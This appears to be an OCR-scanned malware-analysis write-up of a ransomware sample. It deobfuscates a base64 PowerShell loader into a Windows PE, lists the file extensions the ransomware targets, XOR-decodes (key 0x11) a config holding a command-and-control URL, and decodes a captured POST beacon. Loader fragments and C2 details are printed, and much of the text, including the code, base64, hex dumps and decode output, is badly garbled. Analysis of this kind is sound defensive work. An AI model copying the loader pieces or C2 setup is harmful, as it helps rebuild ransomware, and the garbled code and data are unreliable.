RELEHSI0E 0 ICaRahRwARLARCLOAS LGFRATCsAS 1WagB G0 0001 TEg L0 B3y IgghHIFE EgAAACLERCLGA Y e FELARD/ e BCLRRD eC Do MAEMA I PEDT e FE T e A B It CA+38RENARYY LR Y32 XM
FACILTZ) AAEQaIXNIKICNE [SJE LT VRANMARLREA UX I I THEL t JI IC VA NMAg X REGYBAACDRAZ L ScAF LAEAAMAI WA+ FYFT A/ ST F 1NNV vEMT T FC I tNCICFETLIB I TFC T tABA+ JAD L NN ARG T WIS,
BRIGThORJARAADE GOYDELDVIOE Puxph  ubarsinglic, 000N

i

11 Function HevBEnPFYswHFFPaullogaqil |

12 raturn | ([regex]: iHatchas|
Vme FEARL L4 EANULAST ¢ FroCr sa Il DLy IRMEA AR TWESS S SNLEDES £ FT SFOFLA S/ 3PxFaYinl SMoRMESFeIDEM /F 3 fHaDL / /3P F2 IRw 3P/ FeId L 5RO F L ITAATDERD L SRHNFSCO3 + A/ FuT,
adWapd5Flol Y ima LUisn FIgbeR M atWaond FLo2 YT ) ackDinh Isqr-dR Ja tiepd2 F1o2 Y Ve WX D inh | b R BeTa 08 ypen D F 1o 2 Y Vea S0 i L agh fRICWL 008 0¥ DASgHADL D AME DL AAMAWERT /
ERNT & FLIDOCHEWFy ER4 SqF LR EAIC/EATT ¢+ DHEAXI Y TR M+ aHE8XS MR ABEDF £ T4 Fh TAES I DNt TARGEOAPDCF L IDALGRLY I RIGABR L GTL A  BEWZARRT L EEF Lo Ve + guv T VEnEX i
w0/ Fel RO+ L SPRe e 0N FLIGIU0LEXEL A ICF e RGe gav VINMNS T RORLCEAAK I DE P IARA RS ) 0/ 204/ DEA/ KedBv] MRS T K PYyEAPDRL Beh K P
LI0DEANAANEEMeTTL TS EQRE00A+RELESS / FETEAXIAAXELBDIMNOD L AR ANES +gaw VDM FrY e RICE S FYCOBchBRwT PgOTLy IRLCRS LN awy
OHwFmlS S Pro)Odf HFTLE 1w Iz ERLCAS IRIBr DARAEAR S FdcC FpF+ DA OR +4gEAFE+ DA R4+ 00 v iVEME I r J Ad Jo I A WHADHE D / FRACFtoE 3BRR Tw ALy ERJCE S Ft A Br DAL LHY] VOnMA T JRIMORLN
R LVNeegEgS S F S FROCLAPDLAPE]L ePxErgag s E+ThOoC 1 FFOLIPEL SPAFVRICBRA/ IRAAX T DERY S/ § S rej0d/ 20 DR/ POEARDRLBChZ S/ / A ROEQU IS av VDA AMEUMWF D
JOR 1 SILrDEMFUSWwFyAxDe/ F 33T TUE/ M3 Sghd A0U0L Fedwe OOARX THE DA / /2P To § Ol 254/ Dd /ol Ve yABENY gL TROL S0 TOOSAX DL ARAANEREY ol ¥, ¥ . "  "RigheTalafr ") | ForEan)

oF

13

14 b

15 SCaMVICK ) INLEFIRRYRIDI = MEvBERPYRYNPrAulegsy
1€

i1 [eyte (] | SFURGEMERTyydUPENIpe = [System. Convert]: sFronBaseddStringl (-jein (SuqEleobotoplla jrorty ) , SadiTisel fRzVobLOTT o, SCaWe PO LWERFERRYRIDT ]
18

1% [8ystes.I0,File]:iWeiteAllBytes (SPllaPathstr, 5POPCERNSEETOUFERIRG @

The variable for the path can be the same but instead of pipe to write file / text we add the line with the System 10

and make sure we have the variable name the same as in the extracted PowerShell.

Moving on to the large base64 string.

EAAAGAARABCWEDCENp QY JONEN Iwz SDMENGA 0 r DT sNCU1bzWDNewlMj aBNoo2 SDDACVY EM] CROWAGAADIARARS JEXNRK3I]1 jez N/ 4 IHThAOT 4
46ZTpronlfeDgBOocEkTgXOrE6yDredvQER jsX0zMT52thO3 s Tmzux09¥ 7/ Js 2 PCgEW JxpPIQElzy jPLga0j zePRP48Gz 1BFVESaj 19FYE92 2 3xPOY+ IDY
AGMBOWNZBPMFowa TCKMARRRFARARWARARSPI4 /mD+ 1P Tw/ 22 /b P+ ST BARREGARDEARARRTANMCOW VT BeMHEwe DC § MEowy § DDMMowZ DC IMeMx 4 THE MR
EOFzQeNEADSDRONFHOWDThNOCO TDQzNUWl cVebtOul FIPRR * . Substring {13, 2000)

B7570

B7571 i

B7572 SxCahiReThrvpiFWCLJogH = jkbphijlJHaTaggARYWHT

BTST3

B7574 [BFEE [ 1 1 SFLsvRxXnIINUCxSgoBIOK = [System.Convert]::FromBasef4String ((-join (ShTBIAXUWEITHKVNuILUXIS , SCPEzFiRgNhaNmisTw]

tEsnYRIPLIbzCq, $8kCoPovt lgegFNEMT2YRE , SwMoaxioLbRINYZPsX jWaR , §BOPOAECMENZpERTY 1vRey , SHARIOZDgy ) roMINEZS00S , 54

SzooDCnOavs Iat,
"ARETAYNXxjaJIzYBnFagBoQdsBADP1FR// /4 1FeP+1ER/ / /4 1Vp0oic20ARagBodsBAP+ 1HD/ / /4 1 PqP+ 160/ / /4 1Veohe QAR UNw ¥Wa / / / /U T1VEY
Alw/f/ fA4QNRPT/ S RGEDKT/ / / +DWRCTHVEYWIt1DI2Fap/ / / 1CHhdD+/ / $GVui JARAAVuh ] BgARVUhNBOARG S QUK 1 6L5V 3D ZM2M2 FWL T THemARARP S 1E
Wi/ SBPEQAPEIVA ./ // / DxFAEARQRYgPEUAGDXEFmAS ROQDAPEEWODXFARIVIXcPM2Ma Mz MaVi+yLTRhTi 10MV 10 LERCLA/ cviQGIUGSLOw] ILAvIi/RLA
It FCEPYiUgOiXAUIWEIbx i Ly Ivyi0MT 92 B0RS i LOXATEVAVCADT L 0MYE /LI LwPT A 0UIE/RISBI JeByLOx] 3bwily Tvyi0MT 92 8YAR i LOXATEvdvEAS k
YADYTtDGBPYS2 80AE i LOYAT SwdvCART i OMOE/ L3LWP I 1 0M0E/ L3bxgDy It FCBPYiUgoi Xasi OMYS2BYi 81 Lot DRPAVCAPT 1ONIE/ LibygDY I tDIBEYS:
DELOu ) IbyCLyIvyioMQo2 8oAl iLoygTEvAVEAPT I 0MWE/ L3 bwgDy It DIERY 22 BYARgTE0s D2 B4R ILOwg T vdveAP i OMAES LILWPIL0UIE/KISDiJe
ETORQPIAS L LOYATEwdv IAPT AwMTEvdvQART 1 0MWE /L3bXADY It DOBRY Iy Dy It FCEFy i UhAIXBE 1 0Mg 92801 B i LE0t DQPAVCART iwMT BvdvSART 10NIE ]
aaysza-msiwwramvxunuumjmszia.:r.y:,gxjabzi:.yrvyinmszamaimg-ravdwunumsmznwny::ncaayszsmaimmaudm-::a

2] IbOCLYyIvyiOM4 92 EgASILQUAT EvdvGARI 1 0MOE/L3b0gDYItDEEB Py 2 SwAS iLOYATEvdvOARIiOMWE /L3bygDy It DEEBPYS28QARILRQETE0lINI InXK,
M4BABKDY TEDIBFY 2 0ARE i LOZAT BvdvMART i 0UTE/KISGCICEELOyDIb04 Ly Twyi (Mwd2 B4AB i LO0gTEvdw IART i 0MAE /L 3bzADy 1t DOBFy 2 BoRRE

OMWE/L3b0APEMARABKDYI tDOBEY 92 BMABi LROgTE01 TeT Ind I t DORPEvOIvIL /RLOOD3b2 gDy It DMEEY 92 9 TAS i LOOGTEvavMART 1 OUTE /KISHA TeHyLO(]
ACLO03 3b0CLyTvyi ONAS2 STABiLROgTSomI iARRET i sqdzU¥BgRaQTTR ' .Substeing (18, 2000) , 5D0mytOaesFbHgxgxhRrp) ,
"SsEFVWEzMzMzMzMzMzMzMVY vSUA tdDFaLdRBXi30I996LCd sHMEg] 2 FEmYKHIVCEIwMZw Yt LCImJAL A TEItHCDRPII B4 zwZnJRwi JVwyLOwgzw Y t LE-Jm.]
HGI1XHItDGDEEL0sgmYlDGIITHI tHIDET 164 2winm Ry CIVy SLOY AW Y t LEImI0yCIUYS LRy g2y CPOMEGZ4Ucoi Ve s L OMoMEGLE 2C 2 A UMo A VM e 4 DewE g 4
LOT=I 0z i Uz yLRAOAZYCPOMEGZiUAAI VAE 1 OHANEGLS 04 ZiUNAIVHEL 0d IMEg] 2] PEmY 1HS I 1IXT I tDSDPEXS 18 A UNTA VMW 3DzMzHzNz MMz MV Y vag +w 1]
Ngz3sHUEABD+C2QARAPDDAGHEOARAAGIARAEAAG] / FWIAGABD/ xVwEARL / CFIg+ESgAARA+ 3x 1 BoDMXAAGGAGAAAY v EVGHFAAT PEEFD, FVDAQACD AR
BAAD/ O0FD/ FWDAQACIR S { PwHEN1 03 8AE ] RagBQEEMe ARCDRAYNR £ 0/ 354§ UY IUO0S gVwRAVmOA/ xVowEARUPEVIMBAAT L 1+ Fbo JwARAT PEREFZAREVaMES
oWERRUPSVYMBAAT v4he 8 PhGACAAD/ dOhX/ xWAWEARa PTLOREX / xHAWERAR YUM/ £/ /UF L/ FUJ AQAC TRy D+ PEPhC 4 CARDCRe JiMERCReN Y2 kX kX s ZFS Vv

Using Notepad++ we notice the highlighted area is all 1 section. You may also notice the extra parameter name

right after the join.
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o ———

}
SCaWvFCX)1WtEBFZKHYhJDI = MrvBEEnPYxvNPFaulUtQSg

[Bvte[] ] SPDpGEtHNMIBYyydUPtnIpo = [System.Convert]::FromBase&dString((-join (5ugGLGOobotop)

ShTBIaXUwWZTXKkVNuJLUXIs = (([regex]::Matches(

'} | ForBach {§_.wvalue}) -join ''"}

L]

|Function yGEYvyxvsCPnrRImoFBbvwU() |
return

Searching for that value we find it all the way up right after the code for the shellcode reassembling.

So when we go to use the self decode trick we need from here all of the way to the end of the highlighted area to

be sure we have all of the needed parameters to rebuild the base64 string before it gets decoded to hex/binary data.

Once we drop this into our wrapper and verify we have the proper output name set we can then just input it into

the PowerShell ISE and run it and it will output our binary file for the next step.

Al e

Fle BB Veew Took Detes  Asd-ter  Melp

ek Ty e

B A T Dy DA TLC

BT 2 P e, b A

Y T | PY T e e e W R FTe  e  pe e RN R
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i) ExtractedbytesFromLargeB64.bin l

Offset(h) 00 01 02 03 04 05 06 07 OB 09 OA OB OC OD QE OF

00000000 |[uepu=ar-tagils 4D SA 98 00 03 00 00 00 04 00 00 00 Z'. csssasas
00000010 FF FF 00 00 B8 00 00 00 00 00 00 00 40 00 00 00 ¥¥.. -
00000020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Q00 00 .uviasvnssssnnns
00000030 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ...ieevccvannnasn
00000040 D& 00 00 00 OE 1F BA OE 00 B4 09 CD 21 B8 01 4C @..... L £ B A
00000050 CD 21 54 68 €9 73 20 70 72 6F 67 72 61 6D 20 63 1!This program c
00000060 61 6E 6E 6F 74 20 62 65 20 72 75 6E 20 €9 6E 20 annot be run in

00000070 44 4F 53 20 6D 6F 64 65 2E OD OD OA 24 00 00 00 DOS mode....5...
00000080 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Q00 00 ..visssansassnusn
00000090 00 00 00 00 00 00 00 00 OO0 OO0 00 00 00 00 00 00 ...vevvcovannnusn

000000A0 OO0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .evsvassssssnsnns
000000BO 00 00 00 OO0 OO0 00 00 00 OO0 00 OO0 OO0 OO0 00 00 00 ..cisasssssaaans
000000CO 00 00 00 00 00 00 00 00 OO0 OO0 00 00 00 00 Q00 00 ....eccineruccnnn
000000D0O OO0 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 ..cuvaswssanans PE..
000000E0 4C 01 04 00 E3 CD &4 S5F 00 00 00 00 0O 00 00 0O L...&id; ........
000000F0 EO 00 02 01 OB 01 OE OF 00 AO 01 00 00 ORA 01 00 Acevueren sonnns
00000100 ©0O0 00 00 00 88 12 00 00 00 10 00 00 00 BO 01 00 ..av: avannaans .
00000110 00 OO0 40 00 00 10 00 00 00 02 00 00 06 00 00 00 ..B....c.vuccrvas
00000120 ©00 00 00 00 O6 00 00 00 00 00 00 00 OO DO 02 00 .savvassasnsas D..
00000130 OO0 04 00 00 00 00 00 00 02 00 40 81 00 00 10 00 ..cuiacswaas B.....
00000140 00 10 00 00 00 00 10 00 00 10 00 00 00 00 Q00 00 .ovvworwnsosnnns
00000150 10 00 00 00 00 00 00 00 00 00 00 00 34 37 02 00 .ecuvunwsaasans 47..

00000160 CE& 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E.v.ieevveeenaann.
00000170 00 00 00 00 00 00 00 00 00 00 00 00 00 BO 02 00 ..vvvvvnnsnss"un
00000180 ©O<4 18 00 00 10 30 02 00 38 00 00 00 00 00 00 00 ..u.a L1 T -
00000190 ©0O0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ..-civcveasnnanans

nnnnnnnn PO R - S W A - R - R R R R - R - R - N - T o

Now the first four bytes of this output appears to be a length of the remaining bytes in the output. These will need

to be removed for the next step.

Portable Executable - PE32
J 32-bit Intel - Windows GUI

" Header | Sections |  Directories | Imports | Strings | Load Config | Debug | Hex View |

Property Value

Signature 0x00004550 (Portable Executable)
Machine 32-bit Intel

Number of sections 3

Timestamp 9/18/2020 3:10:27 PM
Pointer to symbaol table 0x00000000

Number of symbols 0

Size of optional header 224

Characteristics Ox0102

Size 169.00 KB

Created 3/28/2021 4:46:51 PM
Modified 3/28/2021 4:46:51PM
Accessed 3/28/2021 4:46:51PM
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Here we see it is a 32 bit binary with a Timestamp of 9/18/2020 although the file was assembled today in the
created date.

If we look at the Unicode strings we can see that file extension strings are not obfuscated or hashed like the other

blog post showed.

7 PES0ET | LECDOnS | LATeCTOnes | Imports
373 _T-zip
374 . Tzip
375 .acedb
376 .acedt
377 .adec
378 .aiff
379 _apkg
380 .appcache
381 .azch00
382 .asax
383 .ascii
384 _asecx
385 .ashx
386 .asmx
387 .aspx
388 .asset
389 _atom
350 _backup
351 .blob
352 .browser
303 .btapp
384 .bzipl
385 _eccbhiys
396 _ecerc
357 .efml
358 .chat
399 .class
400 .codasite
401 _compressed
402 _econf
403 .config
404 .cphd
405 .cpic
408 .e2ypt
407 .eshoml
408 .d3dbsp
4059 .dazip
410 .desc
4§11 .dhtml
412 _diff
413 _diaco
414 .discomap
415 .djwvu
416 .dochk
4§17 .dochtml
418 _doem
415 _doemheml
420 .doex
421 .dothtml
4§22 .dotm
423 .dotx
424 _download
425 _dwix
428 .edge
427 .email
428 .epibzw
429 _espreojy
430 .fegi
431 _flac
432 .forge
433 .freeway
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One of the next things I was looking for is how to extract the ransom Note.
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The other Blog post gives us clues what we are looking for so lets look at the file in a hex editor.

00024870
00024880
00024BS0
00024BA0
00024BEBO
00024BCO
00024BD0
00024BEOD
00024BF0
00024C00
00024C10
00024C20
00024C30
00024C40
00024C50
00024CE0
00024CT0
00024CE0D
00024C320
00024CAD

29
2h

42
42
42
6B
ol

78
ZC
T8
Y
2D
T4
6B
7E
70
TE

o]
00
00
47
1A

T4
1
75
T4
3E
2F
31
64
20
75

Fd
20
o4
TC
F7

o

W o= =J "
(=TT T

(=

1]
66
-1
2C
&5
iB

7F
70
68

25

42
42
42
5B
=l
5

=N o

=l =
(=]

[ P

2
C

TE
75
3D
36
65
31
3
3C
1B
L7=4

0o
o0
00
15
04

63
s
T8
2F
D
31
31
72
31
1B

FC
2C
&0
CF
F7

=] b

Ao oo o

o o kD
L

65
79
TF
1B
T4
31
31
TE
31
31

29
2R

42 00
00
00

c7

08
38

2
2h

42
42
g3
79
00

&85
T2
ac
65
62
31
T2
32
31
6l

i)B.8)B.4)B. .*B.
«*B. *B.,*B.8*B.
H*B.TI*B. "*B.C]¥f.
.ThG|..». I8&8C:pyv
(ig.=.].5.2X....
L1-0U~REHAT1vye| }
V.=ye|¥llp.v, 3t.
Bf.-yepu/.11-|t&
plrypcbte, 6dew<)
6/.11-|tepl.plt,
égxtfa~cedlr~.et
s2; 6fxuey;utgxrt
<Exuey=x.xexpl<b
rplt, 6/.ll-exe}
t/=->axelt/.ll-bs
hic/.111llye| }=is
~uhlj.111111spr=
ve~d.u<r~}~c+12

P P P*.11111.111
lz~uhlj.llllllap

There is a very distinctive string that begins with “11” as it turn out “Ox11” is the xor key.

One of the other samples used 0x13 for the xor key.

If we scroll down to the end we can see clearly where this section will end.
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00027780
Q0027790
00027TAD
00027780
000277C0
Q0027700
Q0027TTED
QO0027TED
Q0027800
00027810
00027820
00027830
00027840
Q0027850
Qoo27860
Q0027870
00027880
00027890
00027ER0
Q002TEBO
0002T8CO
00027TEDO
000278EQD
000278F0
00027900
00027910
00027920
00027930
00027940
00027950
00027960
00027970
00027980
00027990
000279A0
00027980
000279C0
Q0027300
Q00279E0Q
000279F0
00027A00
00027TALD
0002TAZ0

31
76
77
&2
3E
TE
T5
1
7c
31
52
&2
31
61
25
31
T4
2D
22
T7
24
23
20
20
7E
75
&7
D
11
11
11
11
11
11
11
11
11
11
11
11
11
11
11
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64
T4
2C
T0
36
D
78
TC
2R
79
TE
31
&5
2B
63
6l
70
73
27
T2
75
24
24
22
72
78
2F

11
11
11
11
11
11
11
11
11
11
11
11
11
11
11

TF
65
36
27
2F
75
67
70
36
JE
61
62
TE
3E
7C
70
31
7D
21
77
26
27
21
23
TA
67
1B
11
11
11
11
11
11
11
11
11
11
11
11
11
11
11
11

T5
2C
79
&9
75
3F
2F
83
2F
&6
&8
74
31
3E
(-1
T6
77
7E
28
25
20
21
28
72
&0
2F
2D
11
11
11
11
11
11
11
11
11
11
11
11
11
11
11
11

T4
36
E5
&4
T4
1B
1B
Té
iB
3c
31
72
2D
T4
3F
T4
78
72
26
24
T2
T3
T4
29
-
1B
3E
11
11
11
11
11
11
11
11
11
11
11
11
11
11
11
11

63
4E
65
64
63
31
2D
78
2D
65
37
&3
T0
73
TE
2D
T4
TA
24
77
21
T0
23
27
7E
2D
73
11
11
11
11
11
11
11
11
11
11
11
11
11
11
11
11

7D
73
61
63
T4
31
75
TF
79
TE
31
74
31
66
TF
3E
7D
€0
70
20
28
75
26
20
€5
3E
7E
11
11
11
11
11
11
11
11
11
11
11
11
11
11
11
11

T8
7D
2B
70
2D
2D
T8
= | i
23
2D
41
&5
79
T4
T8
70
75
64
26
T2
74
28
77
28
T4
15
15
11
11
11
11
11
11
11
11
11
11
11
11
11
11
11
11

TF
70
3E
23
3E
3E
&7
83
2F
3E
T0
31
83
69
TE
ZF
2D
7E
22
28
27
77
T0
77
2F
78
&8
11
11
11
11
11
11
11
11
11
11
11
11
11
11
11
11

T4
03
3E
6B
T0
75
31
TE
SE
)
62
7C
T4
T8
TF
31
3E
&5
T4
7
29
77
22
28
2D
&7
2F
11
11
11
11
11
11
11
11
11
11
11
11
11
11
11
11

2B
TA
TE
3F
2F
T8
62
el
77
23
65
T4
77
68
33
65
61
T4
20
T2
77
T4
73
26
3E
2F
1B
11
11
11
11
11
11
11
11
11
11
11
11
11
11
11
11

36
36
73
7E
31
&7
63
2B
77
2F
74
&2
2C
™
2F
T4
2F
2F
13
28
20
28
25
28
&1
1B
2D
11
11
11
11
11
11
11
11
11
11
11
11
11
11
11
11

31
31
EB
TF
TE
2F
68
31
7D
iB
31
&2
33
T3
65
69
iB
20
20
T4
T0
29
75
2D
2F
2D
3E
11
11
11
11
11
11
11
11
11
11
11
11
11
11
11
11

65
79
&B
T8
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1B
D
23
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&5
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79
62
79
65
2D
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27
26
73
3E
iB
3E
79
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11
11
11
11
11
11
11
11
11
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11
11

70
63
73
7E
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T4
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79
Té
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T8
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29
286
23
73
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65
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11
11
11
11
11
11
11
11
11
11
11
11
11
11
11
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e o Bl e Do iaich SRack, wa ey valuibl Comwsarcil Gt 1 B i dosmedl By 1 i, v wll e
e ki b v, o publiah e OOPR Dondi ©wal b sy o U, fry 1108 s 5 T Qovasirasent

If we keep scrolling down while we still have multiple “11” values we get to this.

Tl ek e ek A mek kB Gk B ek B Bk e Rk Gk mE s EEEEETETEIEEEETETRER

00028730 11 11 11 11 11 11 11 11 131 11 11 11 11 11 11 11 ..... R P
00028740 11 11 11 11 11 11 11 11 11 11 11 211 11 11 11 11 . .iceeeccasaasnas
00028750 11 11 11 11 11 11 11 11 11 11 11 21 11 11 11 11 ciccssssssssssas
00028760 11 11 11 11 11 11 11 11 1% 11 131 11 11 11 11 11 siscesssmsssssns
00028770 11 11 11 11 11 11 11 11 11 11 11 211 11 11 11 11 . .ieeeccassasnns
00028780 11 11 11 11 11 11 11 11 11 11 11 21 11 11 11 11 ciscssssssesssas
00028790 11 11 11 11 11 11 11 11 1% 11 131 11 11 11 11 11 .siscsssamsssssns
0002ZETA0 11 11 11 11 11 11 11 11 11 11 11 211 11 11 11 11 . .ieeeccassasnas
000287B0 11 11 11 11 11 11 11 11 11 11 11 21 11 11 11 11 cisicsssessssssas
ooozeTco B === = = o —=——— " YPSTT ) (Suf !S53
0002ETDO S185"") %) "RAD"
00028TED ti1g"gur'w'uws !
000287F0D E%'r" (tipdp'D ("
0002ZEBDD [ raws'wi'§ pi(
[alalar -2 50BN OO0 OO0 OO0 00 OO0 00 OO0 00 00 00 OO0 OO0 OO0 00 O
00028820
00028830
00028840
00028850
0002ZEEED
00028870
o002e880
00028890
000288A0
0002E8B0
0002EECO
000288D0
0002E2ED
000ZEEFD

If we xor that by 0x11 we get this.
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R M | < e B ) & T

Cffsec(h) 00 01 02 03 04 05 06 07 OB 09 OA OB OC OD OE OF

Q0000000 35 38 61 35 30 30 31 38 39 34 64 32 30 35 35 63 5B8as0018924d2055¢
00000010 €6 35 30 62 35 33 33 38 37 34 38 33 34 34 61 36 f50b5338748344a6
Q0000020 31 30 30 35 33 34 64 63 36 66 36 ©4 66 37 36 30 100334dcefedf7e0
00000030 34 37 34 30 63 36 3% 65 34 61 32 61 36 61 39 33 4740c6%e=4ala6a’3
Q0000040 o2 38 31 63 62 66 35 36 66 32 36 32 31 61 32 39 bilcbidtfzedlal®
00000050 OO0 11 11 11 11 11 11 11 11 11 11 131 31 11 11 11 ..ieeecnamnnanns
00000060 €8 74 74 70 3SA 2F 2F 3% 31 2E 32 31 38 2E 31 31 hrotp://91.218.11
00000070 34 2E 33 30 00 OO0 0O 00 OO0 OO0 00 OO0 OO0 00 00 00 4.30....00000an-
00000080 00 00 OO0 OO0 OO0 OO0 00 00 00 00 00 00 00 00 00 00 ..vievvnnscnanns
00000050 OO0 00 OO0 00 00 OO0 OO0 00 00 00 00 00 00 00 00 00 ...icennnnnnanns
Q00000A0 QO Q0 OO0 OO0 Q0 Q0 00 Q0 00 00 00 00 00 00 00 00 ..viessnsssnannss
00000080 OO0 OO0 OO0 00 00 OO0 00 00 00 00 00 00 00 00 00 00 ...icennnnnnanns
Q00000CO 00 Q00 00 00 Q0 00 00 00 00 00 00 00 00 00 00 00 ..viessnsssnannss
000000D0 OO0 OO0 OO0 00 00 OO0 00 00 00 00 00 00 00 00 00 00 ...icennnnnnanns

Next I upped this to Anyrun here because I could not figure out at the time where the ip was coming from.

MOVE YOUR MOUSE TO YIEW SCREENSHOTS

One of the last pieces of this puzzle is that it does a post request with some encoded data.

Fle porpad i S e = Ui hait Trer g By b et Sagort O Brapuirest iaiddeons. e hgeet Cirsteet g Cutes Meies, 43 Comteet Tt Birree FoAT uteensd B Hst Toom ]

heman T ] e Pt Daprgton ot Pt Wrap e ot e
&1 2021=03=27 1B:23:46 197 168 10087 40344 091.218.114.30 B0 1] 31.718.104 .30 POST S uTTefl.1

FRTARAL PPMIE T PR
+ POST S HTTP/L.
User-Agent; Boxilla/s, 0 (windees WT 10.0; wingd; «b64) Applewebsit/537.36 (oL, like Gecko)d Chrome B4, 0,4147,89% safari/537, 36 EdguBd.0, 527 40uryn
Hoat: 91,208,114, 30hrin

@ Content-Length: L13%ehn
Cache-Contral: mo-Cachsy
W

[Full request URE: hitp:/ /00, 218,114, 50,0

[HTTF request 1/1]

Data (112 bytes)
Data; 1910034124 297024 2120 1029282575232 1 24247 27T 242073, .,
[Length: 112

If we look at the data that gets dumped from the packet we see this.
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0C 0D OE OF

Offsec(h) 00 01 02 O3 04 05 06 07 08 09 OA OB
0 29
g

00000000  pE 03 41 29 21 21 2 28 75 .. -AS)DS!! ) (%uf
00000010 [ 249 72 24 13 24 22 22 26 259 158TwsS!s5"") &%) "
00000020 K& T0 27 21 24 22 25 75 27 27 B3p' !!'S$"iur'w'u
00000030 o 27T 21 26 21 72 27 28 T4 25 23 WE"!'%&%'r" (t¥pip
00000040 M 28 22 T3 2 72 73 7T 24 27 77 27 'p("a( rawS'wE'#
00000050 il 23 28 09 10 17 39 A0 2A 21 10 14 p¥(..1.9 *!.+.p
00000060 g 78 7F 5B 16 62 74 63 3C 41 52 c4 i|x.[-Dbtc<ARMA.

So as a guess I checked to see if it had a single byte xor key and to my surprise it did.

[ Demde | Flmmmsmtmeteg ) s eoma e

BNENS AN N AREE SO NN TN AN R A RSN RS SR AN NN ERRA T RNE TN EESN RO ANEAB NN ABE AR R ATNT TR ARDH
A6

LR

Node: """ Is also used for Chars not babween 32 & 255
DX- 00 MASHEE! }HumiS Sl 1A% %D 15 Surwuwl 1A %I L RO P S] rswEWis pa(I 11 e ipupPDblc<ARAK

IDX- 01 Meqyse (51 Smevi raas(3(55qa! SoHsAvEE 58 sE)USq QRS A g0 Mgy ZEcubs hSA!
103 03 MCE+RsF+ witbBpulagh +§'s 75 55L wpluSmuSterepe vt g paul SulSrril e Sire ) IF vas CPCE!
1000 03 MES™8" B =g P SRS Sy 1w S SA%E A RA S wiks s55+ P+ SqpE St § Ss +530 £ M0 Gw 1

IDX- 04 ME 4 5%%3- 1% va %o A&-"1-EMIS%0 SAqafsRqs 0o Tnm DTN Sw, Svws B'TSt B5ten %Mtad] !

10- 05 MDNuSES, - pESIhwiEe™ 8 ' wtSE! pe S 2 Se"g ulutu v el TR Sl 111 !

1D 06 MGV &) 2% 1g U S a8 $asligisq [ ST ity Su Blug g PN ENE 17 vz ] B GTGA!

IDX- 07 WFEWEAS' MSETMUPIEIY% " %W SAT% U PIp! &7 Lu i whw WL ulpS b8 SWNGG-L1 hrdiCasa FUFA!

D= 06 110 B! -, 2, i), WL -S| ] (2 e Gee 1501w SIL ALZI!

IR O M- () e £+ 0 = 00 TGy ey BIOBE g IMRHSH[H

IDX- QA 1K 82 ++*8 D)+ :qq:.[m{o-: TN ot i e e O R -m“mwﬂmd

10X- O ML+ LIV L™ YL ATl ({3 2e™ {WSIPIOM Y.

100- 0C M%) S8 M‘Hﬂ* eyt ry ‘*Nm*lsu‘m~+f°ri1"-'HJ"nwwﬂ'HmW‘HE'
DX OO LIS]).S%0c ), WSS V02 azs” [+ I%oyl] [P S22 " | Sl eld- &gty 1L_LE!
1DX- OF 10 B [y 14" o0 ™ IR Mz ™), B [ B P R4S ™ freq Ui zm RO
10X- OF "h+ 3.:+ :1.": ﬂh« |+—G: ot 'z‘.'{-clml Th‘i'v.:ﬂ mn*mﬂ."-'ﬂ %'MW'H'MFE )

IDJN- 12 155D ?gimmti‘ W?Dﬁmi‘g 3'4?3 Sﬂmnﬁ:hi"aﬁfﬂmihl "I-""HJ-‘?WWM 5030'
ICOX- 13 WIRT-€T223 G102 TTau072 71156 166043227 16448542656204 06c00Ac, /10 0740040360102 BlcTokHWegRRAR !
1DX- 14 MU0=d0554=< 1a75006c050066=21 =61 10345506 1 at3cIac2351 21503 < 1 070305 <Hgele 737407 1% 1- > 5rPahikD P wilIFLED!
10X 15 11T 1<p 1445420764 11gb 1411 7730+ 700035441 70 g20@ BI240304 52 =a0aba 2= i Sqb 1 20626561152 1004t o mprOwan) TGTR!
I0%- 16 WA A2TTE7=3e5722dad Ta 447433167724 300 T 1 cal 1 7303 7d 13050 1 f=-Si= Bidaai 105 1 56511« = Heri b WDNGY
1DX- 17 WIV3=366 7> 7206330 360355 12> 52 200766352060 00 1062 12660 7c2g80007507 T 30" 404 Tg4 7181 -=EragblohlL ' Suct s VEVDY
E1X- 18 1Y D8 1 Doy GG T 1 by 2060 2P o =300 70 <0 2 B, )1 2903 hend gEZAS Y Y LR

100 16 MmO B0 1<) B k=i 0 <l < ci il <l riain P8P <l D meeiiea] 1 Sigre=ne=00 1) 3823 SealB)

1D 1A M= 52 ol »=hime i BET<T38 7= =B Talm=omes, 7«7 e 3n O =280 fims=rrDed 21 190 11 pibaal

100 1B MZVE 230 PN 002 = 200 e P paetl il e e SRR IGM D 08 B 1 Mg _yoo 21218

The same one as the rest to decode with, 0x11.

@ untitiedl

Offset(h) OO0 01 02 03 04 05 06 07 O 09 OA OB OC OD OE OF

00000000 08 01 12 50 35 38 61 35 30 30 31 38 3% 34 64 32 ...P5BaS00l894dz
00000010 30 35 35 63 &6 35 30 62 35 33 33 38 37 34 38 33 O0OSS5cfS0bS53387483
00000020 34 34 61 36 31 30 30 35 33 34 64 €3 36 66 36 64 449a6100534dceféd
00000030 &€& 37 36 30 34 37 34 30 63 36 39 65 34 61 32 61 f7604740ce%e4dala
00000040 36 61 39 33 62 39 31 €3 62 66 35 36 66 32 36 32 6a93b9lcbfSefze2
00000050 31 61 32 39 18 01 20 06 28 Bl 3B 30 01 3A 05 61 1a29.. .(x:0.:.a
00000060 64 6D 69 6E 4A 07 55 73 65 72 2D 50 43 50 D5 07 dminJd.User-PCPO.
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Does this passed hex value look familiar ? It is from the section where the IP was extracted.
What is it? I do not know. If someone does please let me know.

One other thing while I was not initially able to find the IP, I dropped this into IDA to see if I could figure out how

it worked.

Seeing this ..

=@ 104 ViewB 8 | & (= N ] Erurs 0| & Imperts B
L
loc_4196531: loc_419718:
L al, [eex+l] push (1535
ime eex lea eax, [ebptizServeriiane]
west  al, al L ecx, offset srServerNese ;| “5.5.8.8°
jnz short loc_419621) push eax ; imt
lea eax, [ebpevar_16C]
push eax ; int
call sub_315808
add esp, @Ch
test AN, Sad
jnz loc_a1964E
push ecx
Llea eax, [ebp+szServerbames]
 man ecx, offset aBB44 ; "5.5.4.4"
push eax ; inmt
lea eax, [ebptvar_16C]
push eax i int
call sub_410600
widd esp, Bk
test Bhx, 28X
inz loc_41964E
I L
Y Y ¥
[+
log_219639 eax, [ebprszServeriiase]
